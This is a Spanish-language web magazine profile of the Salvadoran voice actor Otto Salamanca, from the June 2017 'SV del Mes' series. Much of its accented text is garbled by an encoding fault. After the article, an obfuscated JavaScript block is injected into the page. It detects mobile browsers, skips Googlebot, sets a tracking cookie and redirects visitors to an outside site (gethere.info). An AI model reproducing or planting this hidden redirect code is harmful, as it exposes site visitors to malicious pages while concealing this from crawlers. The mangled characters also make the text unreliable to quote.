SV del Mes

6 Jun 2017
SV del Mes | Por: Redacción

Otto Salamanca, la voz que sobresale entre los grandes/ Junio 2017

Otto Salamanca es un locutor reconocido en LatinoamA�rica y en Estados Unidos, ama a su familia y a sus amigos, A�se considera soA�ador; disfruta los pequeA�os detalles y sabe que la mejor revoluciA?n es revolucionarse. ConocA� mA?s del SalvadoreA�o del Mes de junio 2017.

Para Otto, a�?la realizaciA?n del hombre estA? en dar, dar sonrisas fundamentalmente porque eso implica que venga hacia unoa�?. AdemA?s, considera a�?que la lA?gica de la vida es ser rA�o y fluir, no ser lago y no estar estancado, y en esa lA?gica desempeA�o todos mis emprendimientos de la vidaa�?.

Todo comenzA? con su gusto por la mA?sica, desde que muy pequeA�o cuando su madre compraba elepA�s de Julio Iglesias, Camilo Sesto, JosA� Feliciano y esa mA?sica que estaba de moda por los 80a��s. a�?En las contraportadas traA�an letras, entonces, mi pasiA?n era ponerme a la par del cantante y hacer lo mismo que A�l. TenA�a que llegar hasta donde llegaba el cantante, controlar la respiraciA?n, esto creA? una costumbre en mA�a�?.

Desde ese momento, Otto fue consciente de los factores que componA�an la locuciA?n, pero cuando tenA�a 17 aA�os, su madre se preocupA? porque no querA�a estudiar a�?y es asA� como lleguA� a las instalaciones de YSU Radio Cadena en 1988. Tuve la oportunidad de pisar por primera vez una cabina de radioa�?.

Sin embargo, no todo fue fA?cil desde un principio, ya que le dijeron que se quedara quieto, no hablara y cada dA�a asistA�a para aprender viendo, hasta que un domingo cometiA? el error de hablar sin pedir permiso antes. Entonces, segA?n narra Otto, le dijeron: a�?lo primero que tenA�s que hacer en radio es seguir direcciones, asA� para que aprendA?s los prA?ximos 15 dA�as vas a estar parado frente a la puertaa�? y ahA� estuvo. DespuA�s, le explicaron que era parte del proceso, que eso era el a�?coladora�?. a�?Si vos estA?s enamorado te quedA?s, esa era la vieja escuelaa�?.

Luego, se fue estudiar comunicaciones y asA� fue como llegA? a la radio YSUCA a�?cuando reciA�n estaban desempacando las cosasa�?. Cuando Otto fue a hacerse la prueba, solo le dio su nombre al encargado de producciA?n, Walter Raudales, e inmediatamente le dijo que estaba contratado y A�l dirA�a el editorial de la radio.

En la radio YSUCA a�?aprendA� una gran lecciA?n y es que la voz es solo eso, tener linda voz es solo el inicio. Por mis estudios, sabA�a que era el editorial de la UCA es algo bien pesado, por el contexto de posguerra y me ponA�a nervioso, porque yo sabA�a cantar, pero no interpretar un texto. Para eso, tenA�s que hacer gala en un texto como de todos tus conocimientos de locutor para atrapar la atenciA?n de las personas, casi que es imposiblea�?.

Tiro al plato

Edad: 49 aA�os

Hijos: 7

PasiA?n: LocuciA?n

Doblaje: DiversiA?n

El Salvador: Compromiso

InspiraciA?n: Mi familia

Pueblo salvadoreA�o: Sufrimiento

Fue entonces cuando Otto decidiA? meterse en un curso de locuciA?n, pero en ese entonces no habA�a una academia de locuciA?n y les preguntA? a sus amigos, a�?quiA�nes eran los buenos en radio. Surgieron bA?sicamente tres nombres en mi corta encuesta: Edgardo CuA�llar, Omar GonzA?lez y Leonardo Herediaa�?. Heredia llegaba a almorzar los mediodA�as en un restaurante, averiguA? Otto, y desde ese dA�a, todos los dA�as Otto llegaba a ese restaurante a�?para poder saludarlo y aprender de A�la�?.

a�?Referente en el mundo de las comunicaciones, por su talento, profesionalismo y, sobre todo, por su virtud de compartir sus conocimientos de manera plural y sin soslayoa�?, David Canjura, locutor y doblaje en Bla Bla Bla Studios.

a�?Yo fui al ataque y lo dejA� estupefacto, porque A�l estaba sentado y yo lleguA�, y me sentA�, y me volviA? a ver. Me presentA� y solo me dijo a quA� debo esta sorpresa no tan agradable en mi hora de almuerzoa�?. Finalmente, Heredia aceptA? ser su maestro y le dio la direcciA?n de su estudio; para el siguiente sA?bado, Otto ya estaba aprendiendo de locuciA?n.

Luego de 52 sA?bados, casi un aA�o despuA�s, Heredia le dijo: a�?bueno Yogi, mira ya el otro sA?bado ya no te quiero ver mA?s por aquA�. Yo ya no tengo nada mA?s que enseA�arte y de ti depende si eres un buen locutor o un mal locutora�?, cuenta Otto. Al lunes siguiente, Otto estaba trabajando en una estaciA?n como encargado de producciA?n y se animA? a hacer un demo, a�?tomA� un texto al azar y era sobre el DA�a de la Tierra. Y fue un hito porque lo grabA� en un cassette, sin fondo, ni nada, micrA?fono y voz en offa�?.

Otto entregA? el demo a una compaA�era, quien grababa para los Estudios W, de Willy Maldonado. Luego de una semana, le llamaron a la casa del estudio para hacer una prueba. a�?Con el maestro Heredia me enseA�A? que la primera impresiA?n era lo que mandaba y esa primera impresiA?n no pudiera haberla logrado, sino hubiera hecho el proceso que hice con Heredia. Y de ahA� para acA? me conectA� con las agencias de publicidad que mueven mA?s comerciales, y bueno el resto es historia. GrabA� todas las marcas de este paA�s en los 90a��sa�?, recuerda Otto.

Talentoso, capaz y con mucha experiencia lo considero uno de las mejores voces por su trayectoria de respeto- Guillermo Maldonado, locutor comercial y productor de audio en Master Audio Factory.

Dentro de sus mayores logros, Otto cuenta que fue haber hecho y ganar un casting para ser la voz de HBO cuando aA?n existA�a Telecom en El Salvador, y a�?ver un cheque por $1 mil 900 dA?lares por haber dicho: Telecom, la comunicaciA?n de todos. Fue la sorpresa mA?s grande que me llevA� y dije toda esta plata se puede hacer con la voz, y se puede hacer mucho mA?sa�?.

Luego, Otto se dio cuenta que los programas de televisiA?n por cable estaban doblados en MA�xico o Colombia y a�?yo decA�a que en CentroamA�rica solo veA�amos esa plata pasar. Estaba convencido que mis colegas y yo tenemos la capacidad de hacer esto y entonces en 1992, conocA�a a Jorge GarcA�a, la voz de FOX, en la UCA y nos hicimos un poco amigos, supe que se dedicaba al doblajea�?.

a�?Jorge GarcA�a a�� Junio 2013a�?

A los pocos meses, Jorge GarcA�a dio un taller de doblaje y Otto asistiA?, a�?al salir, Jorge nos dijo que tenA�amos talento para hacer doblaje y que pusiA�ramos un estudio, y como buenos salvadoreA�os no pusimos el tal estudio. HablA? 6 meses despuA�s preguntando por el estudio; entonces, se creA? Bla Bla Bla, el primer estudio de grabaciA?n de doblajea�?.

a�?Conocer el doblaje es un poco como el doctorado de la locuciA?n, va sobre la base de un locutor y un actor profesional, donde montas la tA�cnica del doblajea�?, confiesa Otto. Para Otto, el doblaje es a�?vivir otras realidades, otros mundos, personalidades cuando estA?s doblandoa�?. Fue director y actor de doblaje por 8 aA�os.

En Bla Bla Bla, Otto dirigiA? series de NatGeo como El IncreA�ble Doctor Pol, una saga sobre el Titanic, otra de Hitler sobre los campos de concentraciA?n y como actor, interpretA? a Martin Sheen, el papA? de Charlie Sheen, en el Camino de Santiago. AdemA?s, ha participado en series ahora disponibles en Netflix como a�?Cosmosa�?, a�?Bricleberrya�? y a�?EetA?a�? y a�?Salema�?, ahora en TNT Series.

Tiro al plato

Comida favorita: Lasagna

MA?sica: Toda

Madre: Compromiso

Libro favorito: BiografA�a de Sabina

Cantante favorito: Otto Salamanca

Cualidad: Modesto

Gatos o perros: Perros

MaA�z o arroz: Arroz

Comida tA�pica: Frijoles volteados con crema y tortilla tostada

 

a�?Hacemos otro tipo de actuaciones, doblajes, como en el hindi, persa o farsA� y coreano, donde tienes que aprender a hacer diA?logo de tal forma que la idea no se pierda al terminara�?. Ahora, Otto hace doblajes para dentro y fuera del paA�s a�?mercadeando mi voz, soy la voz oficial de varias emisoras en SuramA�ricaa�?. Algunas de ellas: en Argentina, Planeta FM y Cristal FM; Bolivia, Radio LA�der, 99.1; Boom en Cali, Colombia; y una en Chile. a�?La parte mA?s alta de mi vida hasta el momento, el Everest del doblaje es que fui la voz oficial de Nat Geo Mundo y eso me catapultA? entre el 2010 y 2016a�?. AdemA?s, es co-dueA�o de la academia Voces del Futuro. Escuela Integral de LocuciA?n.

No obstante, Otto tambiA�n ha pasado por momentos difA�ciles en su vida, siendo el mayor de todos cuando se tuvo que sobreponer a A�l y toda su familia a la pA�rdida de su hijo, Kevin. a�?Ese dolor es la crisis mA?s grande y desde la que tA? puedes decidir que si te quedas en el fondo, o no. Fue como el terremoto que le moviA? el eje de rotaciA?n a la tierra, que te cambia la vida y encuentras quiA�nes son tus amigos, tu familia, si te potencian lo positivo, pero que influye en la carrera porque, como dije al inicio, es el hombrea�?.

Con la pA�rdida de su hijo, Otto detalla que aprendiA? y se doctorA? como padre porque supo que la razA?n por cual salir adelante era su familia y ayudar a sus amigos que pasan por lo mismo, por la muerte de un ser querido. a�?Darles consejos, como ya pasaste por ahA� sabes en quA� punto estA?, de las crisis aprendes muchoa�?.

Una de las inspiraciones de Otto a ser mejor cada dA�a en su trabajo, desde pequeA�o, es John Gres, conocido por hacer las extras de las pelA�culas a nivel internacional. a�?Mi madre me llevaba a los matines de las salas de cine, esas que ya no existen en este paA�s. Me encantaba escuchar las extras y esa voz que emanaba en estA�reo, la voz de John Gres, y agarraba los periA?dicos y me ponA�a a decir los textos de las extras con la programaciA?n de los cines. SegA?n yo, las hacA�a igual a Gres cuando era niA�o y soA�aba con hacer esas extras de grandea�?.

Dentro de cinco o diez aA�os, Otto se mira como la voz oficial de un canal importante y haciendo extras para cine. a�?Me veo conquistando el mercado estadounidense en espaA�ol, el mercado comercial y como un pequeA�o empresario en medios de comunicaciA?na�?, confiesa Otto.

AsA� mismo, a�?yo lo que le digo los jA?venes, es que nunca dejen que nadie les diga que no pueden. Fuera todo eso, siempre repA�tete que tA? puedes, no renuncies a tus sueA�os. SA�guelos, esa es la fuerza vital. Y despuA�s bA?scate un mA�todo para llegar a eso. Todos los sueA�os son realizables, sea cuales sea que te planteesa�?, aconseja Otto.

 var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

11 Sep 2018
Romeo Majano, el doctor que cura el corazón sin operaciones / septiembre 2018
SV del Mes | Por: Redacción

Romeo Majano, el doctor que cura el corazón sin operaciones / septiembre 2018

7 Ago 2018
Bryan Pérez, el surfista estrella – Agosto 2018
SV del Mes | Por: Mariana Arévalo

Bryan Pérez, el surfista estrella – Agosto 2018

3 Jul 2018
Rodrigo Bolaños, el salvadoreño detrás de una fábrica de oportunidades- julio 2018
SV del Mes | Por: Mariana Arévalo

Rodrigo Bolaños, el salvadoreño detrás de una fábrica de oportunidades- julio 2018

5 Jun 2018
Danilo Leiva, el docente de matemáticas inspirador – Junio 2018
SV del Mes | Por: Mariana Arévalo

Danilo Leiva, el docente de matemáticas inspirador – Junio 2018